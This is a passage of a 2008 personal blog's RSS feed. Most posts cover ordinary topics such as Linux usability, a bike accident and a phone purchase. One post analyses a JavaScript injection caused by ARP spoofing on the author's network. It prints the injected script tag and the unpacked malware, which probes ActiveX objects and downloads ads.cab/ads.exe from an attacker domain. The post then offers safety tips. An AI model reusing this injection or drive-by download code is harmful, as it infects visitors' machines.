but reality is, Windows GUI has more than 90% marketshare and most people don't like spending time finding alternatives. If Windows users could just seamlessly resume their work on Linux, it would be an ideal solution. So from a practical point of view, Windows users should be able to find most of their stuff on Linux desktops. For example, the "Windows key" is used on Windows PCs to access the Start menu. In Ubuntu this is not the default, but this can be changed in &lt;i&gt;Keyboard Shortcuts&lt;/i&gt; (Windows Key is referred to as the "SuperKey" in Linux). On the other hand, to quickly access the desktop using the keyboard, Ubuntu's default is CTRL+ALT+D. And so far I haven't found a solution to making it Windows Key + D. While it doesn't bother me &amp; many other Linux fans to use the new combination, it seems to be a pain for many users - only because of the fact that their fingers are already synchronized to it &amp; hence prefer it that way. I don't want to keep ranting about what can be done in Windows &amp; that can't be done in Linux.&lt;/p&gt;&lt;p&gt;But there are 2 good reasons to try out Linux this year :&lt;br/&gt;&lt;ul&gt;&lt;li&gt;Wine 1.0 - after nearly 15 years in development, the stable version of Wine got released - for running Windows exe files. But this still yet to work with all EXEs.&lt;/li&gt;&lt;li&gt;OpenOffice 3.0 - Support for MS Office 2007 formats and since ver 2.2 no more long startup times which was terrible when compared to MS Office which runs natively unlike OO which is Java dependent.&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-3303740328390928270?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/1t4RVeXVc1o" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-17T15:29:02.421+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2008/08/good-year-for-linux.html</feedburner:origLink></item><item><title>Bike Accident</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/_OMX8mLfLfI/bike-accident.html</link><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Tue, 09 Dec 2008 11:16:15 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-3100864204050317662</guid><description>&lt;p&gt;I had quite a major bike accident on Wednesday evening at around 5 P.M. A car hit me from the opposite direction while I was making a slow right turn.
But luckily the injuries were few. My left arm is completely immobilized. For 2 months max my left arm will be non-functional - had surgery on left elbow for removal of glass pieces (that got entered from the car's side windows). I was EXTREMELY LUCKY to have no other injuries especially on my head considering the fact that I was thrown off my bike and landed on my back.

I am typing this from my hospital bed. Hopefully I would be discharged next week.
Here are some pics of the operation taken by the surgeon.&lt;/p&gt;
&lt;div onclick="var s = document.getElementById('bike-photos-3100864204050317662').style; if (s.display == 'none') s.display = ''; else s.display = 'none';" style="color:blue;text-decoration:underline;cursor:pointer;text-align:center;padding-bottom:3px"&gt;&lt;span style="color:white;background-color:red;font-weight:bold"&gt;&amp;nbsp;WARNING !&amp;nbsp;&lt;/span&gt;&amp;nbsp;Some of these photos contain very graphic images. Viewer Discretion is Strongly Advised. Click here to show the photos.&lt;/div&gt;
&lt;div id="bike-photos-3100864204050317662" style="display:none"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_heI_5e5Bggg/SIwa9fFz3zI/AAAAAAAAAGU/ZW35S2vG1fI/s1600-h/23072008572.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_heI_5e5Bggg/SIwa9fFz3zI/AAAAAAAAAGU/ZW35S2vG1fI/s320/23072008572.jpg" alt="" id="BLOGGER_PHOTO_ID_5227582911090515762" border="0" /&gt;&lt;/a&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_heI_5e5Bggg/SIwa9hsiciI/AAAAAAAAAGc/tiCHpNde324/s1600-h/23072008573.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_heI_5e5Bggg/SIwa9hsiciI/AAAAAAAAAGc/tiCHpNde324/s320/23072008573.jpg" alt="" id="BLOGGER_PHOTO_ID_5227582911789822498" border="0" /&gt;&lt;/a&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_heI_5e5Bggg/SIweGpv9NxI/AAAAAAAAAHM/VIm6b7b1iDg/s1600-h/23072008582.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_heI_5e5Bggg/SIweGpv9NxI/AAAAAAAAAHM/VIm6b7b1iDg/s320/23072008582.jpg" alt="" id="BLOGGER_PHOTO_ID_5227586367105349394" border="0" /&gt;&lt;/a&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_heI_5e5Bggg/SIweG1My3JI/AAAAAAAAAHU/ZvfR9ucqhzc/s1600-h/23072008583.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_heI_5e5Bggg/SIweG1My3JI/AAAAAAAAAHU/ZvfR9ucqhzc/s320/23072008583.jpg" alt="" id="BLOGGER_PHOTO_ID_5227586370179095698" border="0" /&gt;&lt;/a&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_heI_5e5Bggg/SIwa-ElK4aI/AAAAAAAAAGk/0zAB5kip35w/s1600-h/23072008574.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_heI_5e5Bggg/SIwa-ElK4aI/AAAAAAAAAGk/0zAB5kip35w/s320/23072008574.jpg" alt="" id="BLOGGER_PHOTO_ID_5227582921154159010" border="0" /&gt;&lt;/a&gt;&lt;div style="text-align: center;"&gt;The stitches after the operation.&lt;br/&gt;&lt;br/&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;&lt;b&gt;&lt;u&gt;The X-Rays&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_heI_5e5Bggg/SIwa-StSxGI/AAAAAAAAAGs/W3o7tE-NzV0/s1600-h/23072008578.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_heI_5e5Bggg/SIwa-StSxGI/AAAAAAAAAGs/W3o7tE-NzV0/s320/23072008578.jpg" alt="" id="BLOGGER_PHOTO_ID_5227582924946326626" border="0" /&gt;&lt;/a&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_heI_5e5Bggg/SIwa-rfd7-I/AAAAAAAAAG0/oXgnZ-O6D_g/s1600-h/23072008579.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_heI_5e5Bggg/SIwa-rfd7-I/AAAAAAAAAG0/oXgnZ-O6D_g/s320/23072008579.jpg" alt="" id="BLOGGER_PHOTO_ID_5227582931599224802" border="0" /&gt;&lt;/a&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_heI_5e5Bggg/SIweGNSj5tI/AAAAAAAAAG8/KJQb_Ez179M/s1600-h/23072008580.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_heI_5e5Bggg/SIweGNSj5tI/AAAAAAAAAG8/KJQb_Ez179M/s320/23072008580.jpg" alt="" id="BLOGGER_PHOTO_ID_5227586359465862866" border="0" /&gt;&lt;/a&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_heI_5e5Bggg/SIweGbFqjlI/AAAAAAAAAHE/9sTpyquMZD8/s1600-h/23072008581.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_heI_5e5Bggg/SIweGbFqjlI/AAAAAAAAAHE/9sTpyquMZD8/s320/23072008581.jpg" alt="" id="BLOGGER_PHOTO_ID_5227586363169869394" border="0" /&gt;&lt;/a&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_heI_5e5Bggg/SIweHPYb9II/AAAAAAAAAHc/mvmtGSFEyL8/s1600-h/24072008619.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_heI_5e5Bggg/SIweHPYb9II/AAAAAAAAAHc/mvmtGSFEyL8/s320/24072008619.jpg" alt="" id="BLOGGER_PHOTO_ID_5227586377207248002" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-3100864204050317662?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/_OMX8mLfLfI" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-10T00:46:15.347+05:30</app:edited><media:thumbnail url="http://3.bp.blogspot.com/_heI_5e5Bggg/SIwa9fFz3zI/AAAAAAAAAGU/ZW35S2vG1fI/s72-c/23072008572.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2008/07/bike-accident.html</feedburner:origLink></item><item><title>IFSC Search</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/ptHjSjBAmWU/ifsc-search.html</link><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Sat, 08 Mar 2008 01:42:43 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-7242140026387303622</guid><description>&lt;p&gt;Sometime in November 2007, PayPal added a new feature : &lt;a href="http://pages.ebay.in/paypal%5Fwithdrawal/"&gt;Widthdraw&lt;/a&gt; funds to an &lt;a href="http://pages.ebay.in/paypal%5Fbankaccount/"&gt;Indian bank account&lt;/a&gt;. Theres a fee of Rs 50 for withdrawals less than Rs 7,000 , otherwise there is no fee. You'll need to provide the IFSC (Indian Financial System Code) number of your bank though to get this working.&lt;br/&gt;&lt;br/&gt;I've created a small form &lt;a href="http://anjanesh.co.in/ifsc/"&gt;here&lt;/a&gt; to search for IFSC codes from 3 separate sources.&lt;br/&gt;Reason for 3 databases is that there isnt any official source that has all the banks' IFSC data - so its better off to compare all sources and check if they match. I'll add more database(s) if I find a different source. The most reliable source is, the bank-branch itself - obviously.&lt;br/&gt;&lt;br/&gt;Disclaimer: None of the information is guaranteed to be 100% accurate.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-7242140026387303622?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/ptHjSjBAmWU" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2008-03-08T15:12:43.262+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2008/03/ifsc-search.html</feedburner:origLink></item><item><title>MySQL Road Show India 2008!</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/bnRJI6-oqqA/mysql-road-show-india-2008.html</link><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Wed, 27 Feb 2008 20:48:19 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-6046735953777668174</guid><description>&lt;img style="border-top-width: 0px; padding-left: 10px; border-left-width: 0px; float: right; border-bottom-width: 0px; width: 205px; height: 68px; border-right-width: 0px" alt="Sony DRX-S70U" src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/logo_mysql_sun.gif" /&gt;   &lt;p&gt;Last week, on Thursday, the 21st, I attended the &lt;a href="http://www.mysql.com/news-and-events/events/mysql-in-feb08.html"&gt;MySQL Road Show India 2008&lt;/a&gt; in Mumbai. The co-founder and the director of technologies gave their tech-talks. About 100+ database pros attended the seminar.     &lt;br /&gt;    &lt;br /&gt;The primary discussion was on their upcoming final release of MySQL 5.1 - &lt;a href="http://dev.mysql.com/doc/refman/5.1/en/mysql-nutshell.html"&gt;new features and functionality&lt;/a&gt; : &lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;High Availability - stressed a lot on this &lt;/li&gt;    &lt;li&gt;Clustering &lt;/li&gt;    &lt;li&gt;Partioning &lt;/li&gt;    &lt;li&gt;Row-based replication &lt;/li&gt;    &lt;li&gt;XML : Native support for XML. This is becoming common is every aspect of a coder's life. &lt;/li&gt;    &lt;li&gt;Event scheduler - crons in MySQL ! &lt;/li&gt;    &lt;li&gt;Faster ALTER/DROP index &lt;/li&gt;    &lt;li&gt;Faster data import using threading --use-threads &lt;/li&gt;    &lt;li&gt;mysqlslap &lt;/li&gt;    &lt;li&gt;PBXT &lt;/li&gt; &lt;/ul&gt; A bit was also said about MySQL 6.0 &amp;amp; its Falcon storage engine.   &lt;br /&gt;  &lt;br /&gt;And the day before yesterday, &lt;a href="http://blogs.sun.com/jonathan/entry/congratulations_all"&gt;Jonathan Schwartz&lt;/a&gt; announced the acquisition of MySQL for $1 billion. A lot Java enthusiasts are hoping to witness a wave of low-budget Java shared-webhosting.     &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-6046735953777668174?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/bnRJI6-oqqA" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2008-02-28T10:18:19.890+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2008/02/mysql-road-show-india-2008.html</feedburner:origLink></item><item><title>My first mobile phone</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/OOZ-r5dNwyI/my-first-mobile-phone.html</link><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Wed, 13 Feb 2008 21:18:13 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-2454526497188624260</guid><description>&lt;p&gt;A couple of days back, I bought a mobile phone for myself - finally ! (Though I add access to a mobile phone). I was hoping an Android based phone would be out by this year, but Google has a reputation of keeping projects in &amp;quot;beta&amp;quot; for just too long. So I got a &lt;a href="http://www.forum.nokia.com/devices/N82"&gt;Nokia N82&lt;/a&gt; - a 3.5G Symbian 9.2 OS device with a 5MP camera and Xenon Flash ! These days, 5MP mobile-phones are rocketing, after Nokia's N95 launch and the recent launch of Sony Ericsson's &lt;a href="http://www.sonyericsson.com/cws/products/mobilephones/overview/k850i?cc=us&amp;amp;lc=en"&gt;K850i&lt;/a&gt; &amp;amp; Samsung's &lt;a href="http://www.samsung.com/us/news/newsRead.do?news_group=corporatenews&amp;amp;news_type=activitynews&amp;amp;news_seq=2385"&gt;SCH-S250&lt;/a&gt;.    &lt;br /&gt;The clarity is pretty good.    &lt;br /&gt;&lt;/p&gt;  &lt;div style="text-align: center"&gt;&lt;img style="width: 175px; height: 356px" src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/n82.gif" /&gt;&amp;#160;&lt;a title="Milloni Towers" href="http://www.flickr.com/photos/anjanesh/2264454458/"&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; width: 500px; border-right-width: 0px" alt="Milloni Towers" src="http://farm3.static.flickr.com/2030/2264454458_c73349a8ca.jpg" /&gt;&lt;/a&gt;    &lt;br /&gt;Original : &lt;a href="http://farm3.static.flickr.com/2030/2264454458_74ef1a0208_o.jpg"&gt;here&lt;/a&gt;.&lt;/div&gt;  &lt;p&gt;Im not sure if its an update in the latest Nokia PC Suite software or if its harware specific, (though I can't see how it can be the latter), but I now can compose and send text-messages directly from my PC via Nokia Text Message Editor (available as an icon in Explorer &amp;gt; Nokia Phone Browser). Now, this is surely a time saver !   &lt;br /&gt;    &lt;br /&gt;Can we see a 10MP camera-phone in the consumer market by 2010 ?&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-2454526497188624260?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/OOZ-r5dNwyI" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2008-02-14T10:48:13.995+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2008/02/my-first-mobile-phone.html</feedburner:origLink></item><item><title>Injected JavaScript line : 222360.com &amp; asdafdgfgf.com</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/Leq62VY66fg/injected-javascript-line-222360com.html</link><category>JavaScript</category><category>security</category><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Wed, 27 Feb 2008 21:11:07 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-5952992828366665414</guid><description>&lt;p&gt;Im a guy who is pretty much cautious about computer security, though Im not a network or security guru. The last time I formatted my hard-disk &amp;amp; installed my OS was sometime in December 2004 when my old PC was no good anymore and had to get a new one in January 2005. It was a HP with Windows XP SP2 OEM pre-loaded. Based on my previous years of experience, I managed to stay away from all possible malicious worms entering my PC. I never login as &lt;i&gt;Administrator&lt;/i&gt; except for installation and global configuration settings. I am always logged in under &lt;i&gt;User&lt;/i&gt; mode. I guess a Linux user is probably laughing at this saying "thats the way it always was". In Linux, using a non-root user  is a standard for two reasons :&lt;br/&gt;1. You can login as &lt;i&gt;root&lt;/i&gt; in shell within a user environment to care of admin issues. (The same is possible in Windows XP using right-click &amp;gt; &lt;b&gt;Run as&lt;/b&gt;)&lt;br/&gt;2. Most installations can be done to any location - unlike &lt;i&gt;C:\Program Files&lt;/i&gt; &amp;amp; &lt;i&gt;C:\Windows&lt;/i&gt; where many installers require to add files to.&lt;br/&gt;&lt;br/&gt;But when you install Windows, it creates a user under the &lt;i&gt;Administrators&lt;/i&gt; group. So as a result, Windows users get administrative rights by default. And thus, Windows system files are open to intrusion when someone surfs the net using IE and allows the website to run an ActiveX Object.&lt;/p&gt;&lt;p&gt;During the last week of December 2007, I started noticing that all my html webpages had a JavaScript line injected into it right at the top of the page.&lt;br/&gt;It was linking to a subdomain of 222360.com &amp;amp; later on to asdafdgfgf.com - both domains were created recently last year. And example of the injected line was like this :&lt;br/&gt;&lt;pre class="code" style="padding-top:3px; padding-bottom:3px;"&gt;&amp;lt;SCRIPT LANGUAGE="javascript1.2" SRC="http://x.222360.com/un.js"&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;/pre&gt;There are many variants of this line - different letters for subdomain and ads.js before it was un.js.&lt;br/&gt;The code is packed using packer. The unpacked code shows that it tries to create 5 ActiveX Objects. But the last one attempts to download an ads.cab file if BaiduToolBar plugin is installed and extract ads.exe out of the cab file and perhaps run it (if the third argument, 0, implies it). What ads.exe does is still unclear.&lt;br/&gt;&lt;pre class="code"&gt;
if (document.cookie.indexOf('OKSUN') == -1)
 {
        try
         {
                var e;
                var ado = (document.createElement("object"));
                ado.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
                var as = ado.createobject("Adodb.Stream", "")
         }
        catch(e){};
        finally
         {
                var expires = new Date();
                expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);
                document.cookie = 'OKSUN=SUN;path=/;expires=' + expires.toGMTString();
                document.write("&lt;\/script&gt;");
 
                if(e != "[object Error]")
                 {
                        document.write("&lt;\/script&gt;")
                 }
                else
                 {
                        try
                         {
                                var f;
                                var storm = new ActiveXObject("MPS.StormPlayer")
                         }
                        catch(f){};
                        finally
                         {
                                if (f != "[object Error]")
                                {
                                       document.write("&lt;\/script&gt;");
                                       document.write("")
                                }
                         }
 
                        try
                         {
                                var g;
                                var pps = new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1")
                         }
                        catch(g){};
                        finally
                         {
                                if (g != "[object Error]")
                                 {
                                        document.write("&lt;\/script&gt;");
                                        document.write("")
                                 }
                         }
 
                        try
                         {
                                var h;
                                var thunder = new ActiveXObject("DPClient.Vod")
                         }
                        catch(h){};
                        finally
                         {
                                if (h != "[object Error]")
                                 {
                                        document.write("&lt;\/script&gt;");
                                        document.write("")
                                 }
                         }
 
                        try
                         {
                                var i;
                                var yahoo = new ActiveXObject("GLCHAT.GLChatCtrl.1")
                         }
                        catch(i){};
                        finally
                         {
                                if (i != "[object Error]")
                                 {
                                        document.write("")
                                 }
                         }
 
                        try
                         {
                                var j;
                                var obj = new ActiveXObject("BaiduBar.Tool")
                         }
                        catch(j){};
                        finally
                         {
                                if (j != "[object Error]")
                                 {
                                        obj.DloadDS("http://k.222360.com/ads/ads.cab", "ads.exe", 0);
                                        document.write("")
                                 }
                         }
 
                        if (f == "[object Error]" &amp;&amp; g == "[object Error]" &amp;&amp; h == "[object Error]" &amp;&amp; i == "[object Error]" &amp;&amp; j == "[object Error]")
                         {
                                document.write("")
                         }
                 }
         }
 }&lt;/pre&gt;&lt;p&gt;I was stunned at how could this have happened thinking all my browsers were infected with a worm that modifies the HTML source. But none of the localhost pages had that JS line and a simple code to retrieve the contents of a URL or using &lt;a href="http://gnuwin32.sourceforge.net/packages/wget.htm"&gt;gnuWin32 wget&lt;/a&gt; showed that the injected line still persists. I ended formatting my PC anyway and resintalling everything including a full Windows update. But the first thing I did before connecting to my LAN was adding entries to my &lt;a href="http://en.wikipedia.org/wiki/Hosts_file" title="C:\WINDOWS\system32\drivers\etc\hosts"&gt;hosts&lt;/a&gt; file mapping 222360.com, [a-z].222360.com, asdafdgfgf.com, [a-z].asdafdgfgf.com to 127.0.0.1.&lt;br/&gt;&lt;br/&gt;Though the JS line kept coming in, I didnt regret the format + install task as I got rid off a number of unnecessary stuff.&lt;br/&gt;The only other way this could possibly come in was from the ISP, so I thought. But the ISP tech support wouldnt listen to such a story. It was only a couple of days later when I found out on the net that the same issue was experience elsewhere by as mentioned in this &lt;a href="http://www.experts-exchange.com/Virus_and_Spyware/Anti-Virus/Desktop_Anti-Virus/Q_23049938.html"&gt;Experts Exchange thread&lt;/a&gt; and then later 2 guys from Mumbai posted the exact same problem to &lt;a href="http://forums.devnetwork.net/viewtopic.php?f=6&amp;t=77246"&gt;my devnetwork thread&lt;/a&gt;. Apparently, all of our entire LAN was suffering downtimes and JS line injection. It was clear that its coming from the network and not from the ISP as the local cable operator's network has a number of ISPs plugged in. Whats still unclear is, how this attack took place at relatively the same time and that too in Asia.&lt;/p&gt;&lt;p&gt;After visiting one of the forum guy's cable operator's office, and checked this out with the help of a network expert, it was found that this is a result of an overwhelming ARP requests being sent and spoofing the gateway.&lt;br/&gt;From &lt;a href="http://en.wikipedia.org/wiki/ARP_spoofing"&gt;WikiPedia&lt;/a&gt; :&lt;br/&gt;&lt;blockquote&gt;&lt;p&gt;The principle of ARP spoofing is to send fake, or 'spoofed', ARP messages to an Ethernet LAN. Generally, the aim is to associate the attacker's MAC address with the IP address of another node (such as the default gateway). Any traffic meant for that IP address would be mistakenly sent to the attacker instead. The attacker could then choose to forward the traffic to the actual default gateway (passive sniffing) or modify the data before forwarding it (man-in-the-middle attack). The attacker could also launch a Denial of Service attack against a victim by associating a nonexistent MAC address to the IP address of the victim's default gateway.&lt;/p&gt;&lt;/blockquote&gt;A virus called &lt;a href="http://www.grisoft.com/doc/virbase/us/crp/0?nam=Win32%2FVirut"&gt;W32.VirutA&lt;/a&gt; (Risk Level reported by &lt;a href="http://www.symantec.com/security_response/writeup.jsp?docid=2006-051402-1930-99&amp;tabid=1"&gt;symantec&lt;/a&gt; as Very Low) was found on many customers' PC which seem to be doing exactly that - since after a cleanup of most of the PCs, the attacks diminished.&lt;/p&gt;&lt;p&gt;&lt;u&gt;Keep your PC safe :&lt;/u&gt;&lt;ol&gt;&lt;li&gt;Use &lt;b&gt;C:&lt;/b&gt; for Windows and installed programs and keep separate drives for your data - preferably on a separate hard-disk. In case of an sudden reformat or reinstallation of Windows, you don't need to spend the rest of your day searching for your data files and backing it up.&lt;/li&gt;&lt;li&gt;Login as a user having non administrative rights. Preferably under &lt;i&gt;Users&lt;/i&gt; group. For installation, login as &lt;i&gt;Administrator&lt;/i&gt;, install, and come back to your user login. Most software these days, allow you to specify the data directory to another location other than its default one. &lt;b&gt;Find&lt;/b&gt; that and change it to the other drive. At the worst case, just give the user full permissions to a particular file/folder (in C:\Program Files) that requires writing to. At no cost should you be giving write permission to anything in C:\Windows.&lt;/li&gt;&lt;li&gt;Use &lt;a href="http://www.mozilla.com/en-US/"&gt;Mozilla FireFox&lt;/a&gt; as the default web browser. It doesn't support ActiveX Objects&lt;/li&gt;&lt;li&gt;Install an anti-virus and update it regularly.&lt;/li&gt;&lt;li&gt;Use a Firewall - these days, viruses attack the network, not your hard-disk. Windows XP SP2 comes with its own Firewall&lt;/li&gt;&lt;li&gt;Dont use cracked software programs for your needs - there are many free versions equally good or express editions intended at the beginners &amp;amp; intermidiate level which are available for download for free. I already &lt;a href="http://anjanesh.blogspot.com/2006/12/outsourcing-piracy.html"&gt;blogged about this&lt;/a&gt; before.&lt;/li&gt;&lt;li&gt;Use &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/1865"&gt;AdBlockPlus&lt;/a&gt; extension for FireFox - you can block as many external references you want. For example, I added *.222360.com to block anything coming from that domain. This is also the best way to block Google Ads.&lt;/li&gt;&lt;/ol&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-5952992828366665414?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/Leq62VY66fg" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2008-02-28T10:41:07.386+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">5</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2008/01/injected-javascript-line-222360com.html</feedburner:origLink></item><item><title>NIIT's new Adobe Courses</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/-LMpuAEmKeY/niit-new-adobe-courses.html</link><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Fri, 14 Dec 2007 00:16:44 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-31023962.post-8680259696130311339</guid><description>&lt;p&gt;In today's Mumbai Mirror, I was surprised too see a nicely designed ad showcasing NIIT's new Adobe Web 2.0 courses. Apparently, NIIT &amp;amp; Adobe have joined forces to provide training programmes on Adobe's latest version of their products : Flash CS3, Dreamweaver CS3, Flex 2 and ColdFusion 8.&lt;/p&gt;  &lt;p&gt;I called them up (main center located at Delhi), to enquire about these courses (my interest being in Flex alone), I was told that Flex is currently not available ! When I asked about the Flash CS3 course, they asked me if I knew C# and I replied no since I'm mainly into Linux based stuff, they insisted that I take a C# course which is a prerequisite for learning Flash CS3 ! I guessed this included ActionScript 3 too, but C# being a prerequisite is a pretty high demand. Knowledge of JavaScript with OOP concepts should be more than enough in my opinion.&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Basic C# : ~ Rs 6,200 &lt;/li&gt;    &lt;li&gt;Flash CS3 : ~ Rs 9,000 &lt;/li&gt;    &lt;li&gt;Flex : ~ Rs 7,000 &lt;/li&gt;    &lt;li&gt;Entire Web 2.0 Course (including Dreamweaver &amp;amp; ColdFusion) : ~ Rs 24,000 over a period of ~ 250 hours &lt;/li&gt; &lt;/ul&gt;  &lt;div style="text-align: center"&gt;&lt;img style="width: 640px; height: 635px" alt="Adobe NIIT Ad 1" src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/niit-adobe-1.gif" /&gt;    &lt;br /&gt;&lt;img style="width: 640px; height: 299px" alt="Adobe NIIT Ad 2" src="http://i81.photobucket.com/albums/j212/anjanesh/Blog/niit-adobe-2.gif" /&gt; &lt;/div&gt; Related : &lt;a href="http://www.thehindubusinessline.com/2007/10/28/stories/2007102850900500.htm"&gt;thehindubusinessline&lt;/a&gt;, &lt;a href="http://www.efytimes.com/efytimes/fullnews.asp?edid=22381"&gt;efytimes&lt;/a&gt;, &lt;a href="http://outlookbusiness.com/wirenews_new.aspx?newsid=5&amp;amp;source=olb"&gt;outlookbusiness&lt;/a&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/31023962-8680259696130311339?l=anjanesh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/anjanesh/~4/-LMpuAEmKeY" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2007-12-14T13:46:44.421+05:30</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">6</thr:total><feedburner:origLink>http://anjanesh.blogspot.com/2007/12/niit-new-adobe-courses.html</feedburner:origLink></item><item><title>Sony DRX-S70U</title><link>http://rss.anjanesh.net/~r/anjanesh/~3/nPeWeTu0Ykg/sony-drx-s70u.html</link><category>Gadgets</category><category>storage</category><author>anjanesh@anjanesh.com (Anjanesh)</author><pubDate>Mon, 29 Oct 2007 05:23:30 PDT</pubDate><guid 